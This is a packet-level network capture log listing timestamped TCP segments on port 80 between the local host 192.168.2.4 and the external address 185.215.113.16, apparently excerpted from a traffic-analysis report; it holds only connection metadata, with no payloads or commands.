Nov 20, 2024 12:58:02.429646015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.430361986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.430377960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.430403948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.430418015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.431211948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.431231022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.431255102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.431271076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.431976080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.431992054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.432012081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.432024002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.432048082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.432071924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.432701111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.432718039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.432745934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.432770014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.433476925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.433494091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.433510065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.433522940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.433537006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.433557987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.434530020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.434547901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.434562922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.434578896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.434607029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.435158968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.435175896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.435189962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.435210943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.435230017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.435856104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.435872078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.435909986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.435935974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.436582088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.436599016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.436614990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.436626911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.436641932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.436662912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.437535048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.437551022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.437566996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.437592983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.437611103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.438527107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.438545942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.438563108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.438575983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.438591957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.438602924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.438627958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.439465046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.439481974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.439497948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.439507961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.439524889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.439542055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.440412998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.440428019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.440440893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.440454006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.440470934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.440479040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.440490961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.440506935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.441359043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.441375017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.441392899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.441405058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.441420078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.441428900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.441440105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.441464901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.442308903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.442325115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.442339897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.442349911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.442387104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.442404032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.443242073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.443259001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.443276882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.443289995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.443304062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.443326950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.444142103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.444156885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.444173098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.444185019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.444200039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.444206953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.444216967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.444241047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.445005894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445022106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445039034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445051908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.445061922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.445077896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.445807934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445822954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445838928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.445868015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.446613073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.446630001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.446640968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.446655035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.446662903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.446679115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.446691990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.446753979 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.447355986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.447371006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.447387934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.447400093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.447426081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.447449923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.448158026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.448174000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.448190928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.448203087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.448218107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.448234081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449465990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449482918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449497938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449510098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449526072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449532986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449542046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449570894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449647903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449662924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449678898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.449690104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449702978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.449714899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.450404882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.450418949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.450433016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.450443983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.450458050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.450467110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.450493097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.450501919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.451416969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.451432943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.451447010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.451458931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.451472998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.451481104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.451491117 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.451503992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.451517105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.451548100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.452397108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.452413082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.452435017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.452444077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.452461004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.452501059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.452501059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.452531099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.453398943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.453413963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.453429937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.453443050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.453458071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.453473091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.453484058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.453495026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.453531027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.454410076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.454426050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.454441071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.454462051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.454471111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.454494953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.454524994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.455307961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.455331087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.455347061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.455358982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.455374002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.455383062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.455393076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.455405951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.455435991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.455456018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.456247091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.456263065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.456278086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.456290007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.456304073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.456312895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.456324100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.456347942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457151890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457170963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457190037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457201004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457215071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457228899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457240105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457257986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457288027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457926989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457942009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457957983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457969904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.457983971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.457997084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458022118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458035946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458726883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.458743095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.458759069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.458771944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458785057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458794117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.458806992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.458838940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459530115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459546089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459558964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459568977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459587097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459594965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459619999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459630966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459645987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.459656954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459669113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.459700108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.460316896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.460333109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.460349083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.460361004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.460376024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.460382938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.460391998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.460433960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461119890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461137056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461153030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461163998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461180925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461193085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461206913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461218119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461225986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461240053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461253881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.461266041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461276054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.461297035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.462136984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.462152958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.462171078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.462183952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.462197065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.462207079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.462217093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.462229967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.462240934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.462266922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463032961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463048935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463087082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463098049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463109970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463124037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463139057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463150024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463162899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463172913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.463192940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.463210106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464072943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464087963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464102983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464116096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464132071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464140892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464152098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464165926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464180946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.464200974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464200974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.464219093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465040922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465055943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465070009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465082884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465100050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465107918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465116978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465128899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465138912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465152979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465183020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465194941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465918064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465933084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465948105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465959072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.465976954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.465984106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466001987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466008902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466020107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466037035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466043949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466073036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466792107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466806889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466823101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466835022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466854095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.466861010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466869116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.466898918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.467338085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.467353106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.467369080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.467380047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.467391968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.467401981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.467413902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.467427969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.467438936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.467468023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468198061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.468213081 CET	80	49761	185.215.113.16	192.168.2.4
